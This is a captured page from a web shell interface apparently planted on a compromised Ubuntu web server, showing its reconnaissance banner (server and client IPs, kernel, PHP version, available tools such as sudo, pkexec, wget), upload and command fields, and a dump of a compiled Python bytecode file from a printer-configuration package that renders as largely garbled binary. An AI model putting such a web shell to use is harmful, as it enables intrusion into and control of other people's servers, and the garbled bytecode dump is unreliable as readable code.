403Webshell
Server IP : 209.205.66.10  /  Your IP : 216.73.216.173
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ammon 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
User :  ( 1006)
PHP Version : 8.5.8
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/system-config-printer/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/system-config-printer/__pycache__/ppdsloader.cpython-310.pyc
o

3�b�+�@s�ddlZddlmZddlmZddlZddlZe�d�ddlZddlm	Z	ddl
Z
ddlZeje
j
e
jd�Gdd�dej�Zed	kr_Gd
d�d�ZddlmZed
�e�e��dSdS)�N)�GObject)�Gtkz1.9.52��
debugprint)�domain�	localedirc@s�eZdZdZdejjddfiZ			d+dd�Zdd�Z	d	d
�Z
dd�Zd
d�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Zd'd(�Zd)d*�ZdS),�
PPDsLoadera
    1. If PackageKit support is available, and this is a local server,
    try to use PackageKit to install relevant drivers.  We do this
    because we can only make the right choice about the "best" driver
    when the full complement of drivers is there to choose from.

    2. Fetch the list of available drivers from CUPS.

    3. If Jockey is available, and there is no appropriate driver
    available, try to use Jockey to install one.

    4. If Jockey was able to install one, fetch the list of available
    drivers again.
    �finishedN�c	Cstj�|�td|�||_||_||_||_||_||_||_	g|_
d|_d|_d|_
d|_d|_d|_|jdupF|jdkpF|jddk|_zt��|_Wntd�d|_Ytd�}tj|ddtjjtjj|d	�|_|j�td
��|j�d|j�dS)Nz+%sF�	localhostr�/zFailed to get session bus�	SearchingT)�parent�modal�destroy_with_parent�message_type�buttons�textzSearching for drivers�response) r�__init__r�
_device_id�_device_uri�_device_make_and_model�_parent�_host�_encryption�	_language�_installed_files�_conn�_ppds�_exc�_ppdsmatch_result�_jockey_queried�_jockey_has_answered�_local_cups�dbus�
SessionBus�_bus�_r�
MessageDialog�MessageType�INFO�ButtonsType�CANCEL�_dialog�format_secondary_text�connect�_dialog_response)	�self�	device_idr�
device_uri�host�
encryption�language�device_make_and_model�fmtr
r
�./usr/share/system-config-printer/ppdsloader.pyr8sF
���zPPDsLoader.__init__cCsv|j��|jrt�|j�|_|jr5|jr5|jdr5|jdr5|jr5d|jd|jdf|_|�	�dS|�
�dS)N�MFG�MDLzMFG:%s;MDL:%s;)r.�show_allr�cupshelpers�
parseDeviceID�_devid_dictr$r'�_gpk_device_id�_query_packagekit�_query_cups�r2r
r
r:�runas"
����
�zPPDsLoader.runcCstd|�dS)Nz-%srrDr
r
r:�__del__rszPPDsLoader.__del__cCsFtd|�|jr|j��d|_d|_|jr!|j��d|_dSdS)NzDESTROY: %s)rr.�destroyrrrDr
r
r:rGus


�zPPDsLoader.destroycC�|jS�N)rrDr
r
r:�get_installed_files��zPPDsLoader.get_installed_filescCrHrI)rrDr
r
r:�get_ppds�rKzPPDsLoader.get_ppdscCrHrI)r!rDr
r
r:�get_ppdsmatch_result�rKzPPDsLoader.get_ppdsmatch_resultcCstd|t|j�f�|jS)Nz%s: stored error is %s)r�reprr rDr
r
r:�	get_error�szPPDsLoader.get_errorcCs|��d|_|�d�dS�Nr	)rGr.�emit)r2�dialogrr
r
r:r1�szPPDsLoader._dialog_responsecCsDtd�|jstj|j|j|j|jd�}||_dS|�|jd�dS)NzAsking CUPS for PPDs)r5r6�
reply_handler�
error_handler)rr�	asyncconn�
Connectionrr�_cups_connect_reply�_cups_error)r2�cr
r
r:rC�s�
zPPDsLoader._query_cupscCs$|�td��|j|j|jd�dS)Nz
fetching PPDs)rSrT)�_begin_operationr(�getPPDs2�_cups_replyrX)r2�conn�UNUSEDr
r
r:rW�s
�zPPDsLoader._cups_connect_replycCstjj||jd�}||_d|_|jre|�|jd|jd|jd|jd|j	|j
�}|jt|�
��|j|j|d�}||f|_|d}|jre||�d	�se|jse|jdre|jdre|jred
|_|��dS|��d|_|jdury|j��d|_|�d�dS)N)r7Fr;r<�DES�CMD)�devid�fitr�exactTr	)r>�ppds�PPDsrr�_need_requery_cupsr�getPPDNamesFromDeviceIDr@rr�orderPPDNamesByPreference�list�keysrr!r'�
startswithr"r$�
_query_jockeyrGrr.rQ)r2r]�resultrdrb�ppdnamelist�ppdnamer
r
r:r\�sR
���
�����	

zPPDsLoader._cups_replycCsB|��d|_d|_||_|jdur|j��d|_|�d�dSrP)rGrrr r.rQ)r2r]�excr
r
r:rX�s

zPPDsLoader._cups_errorc
Cs�td�z5|j�dd�}t�|d�}|jg}d}tdtd�t|�t|�f�|jt�d�|||j	|j
dd	�WdStyg}z"td
t|��|jr\|j�
�|��WYd}~dSWYd}~dSd}~ww)Nz$Asking PackageKit to install driverszorg.freedesktop.PackageKitz/org/freedesktop/PackageKitz!org.freedesktop.PackageKit.Modifyz
hide-finishedz*Calling InstallPrinterDrivers (%s, %s, %s)r��rSrT�timeoutz Failed to talk to PackageKit: %s)rr'�
get_objectr%�	InterfacerArN�InstallPrinterDrivers�UInt32�_packagekit_reply�_packagekit_error�	Exceptionr.r=rC)r2�obj�proxy�	resources�interaction�er
r
r:rB�s2���
���zPPDsLoader._query_packagekitcCs.td�d|_|jr|j��|��dSdS)NzGot PackageKit replyT)rrfr.r=rCrDr
r
r:rx�s
�zPPDsLoader._packagekit_replycCs0tdt|��|jr|j��|��dSdS)NzGot PackageKit error: %s)rrNr.r=rC�r2rpr
r
r:ry�s

�zPPDsLoader._packagekit_errorc
Csvtd�z|j�dd�}t�|d�}|jd|j|j|jdd�}WdSt	y:}z|�|�WYd}~dSd}~ww)Nz Asking Jockey to install driverszcom.ubuntu.DeviceDriverz/GUIzprinter_deviceid:%srqrr)
rr'rtr%ru�
search_driverr�
_jockey_reply�
_jockey_errorrz)r2r{�jockey�rrr
r
r:rl�s���zPPDsLoader._query_jockeycCs@tdt|��d|_z|d|_Wng|_Y|��dS)NzGot Jockey result: %sT�)rrNr#rrC)r2r]rmr
r
r:r�szPPDsLoader._jockey_replycCsdtdt|��|jr|��dS|jdur|j��d|_|jdur+|j��d|_|�d�dS)NzGot Jockey error: %sr	)rrNrfrCrrGr.rQr�r
r
r:r�s



zPPDsLoader._jockey_error)NNNNNNN)�__name__�
__module__�__qualname__�__doc__r�SignalFlags�RUN_LAST�__gsignals__rrErFrGrJrLrMrOr1rCrWr\rXrBrxryrlr�r�r
r
r
r:r$s4�
�)*	r�__main__c@s$eZdZdd�Zdd�Zdd�ZdS)�FoocCsLt��}tj�d�}|�|�|�d|j�|�dtj�|��||_	dS)N�Go�clickedzdelete-event)
r�Window�Button�new_with_label�addr0�go�	main_quitr=�_window)r2�w�br
r
r:r s

zFoo.__init__cCs(td|jd�}|�d|j�|��dS)NzMFG:MFG;MDL:MDL;)r3rr	)rr�r0�ppds_loadedrE)r2�button�loaderr
r
r:r�)s
�zFoo.gocCsJ|j��t��|��}t|�|��}|durtt|��|��dSrI)r�rGrr�rO�printrL�len)r2�
ppdsloaderrprdr
r
r:r�/s
zFoo.ppds_loadedN)r�r�r�rr�r�r
r
r
r:r�s	r�)�
set_debuggingT)r%�
gi.repositoryrrr>�cups�requirerU�debugr�config�gettext�install�PACKAGErrr�r�r��mainr
r
r
r:�<module>s(
{�

Youez - 2016 - github.com/yon3zu
LinuXploit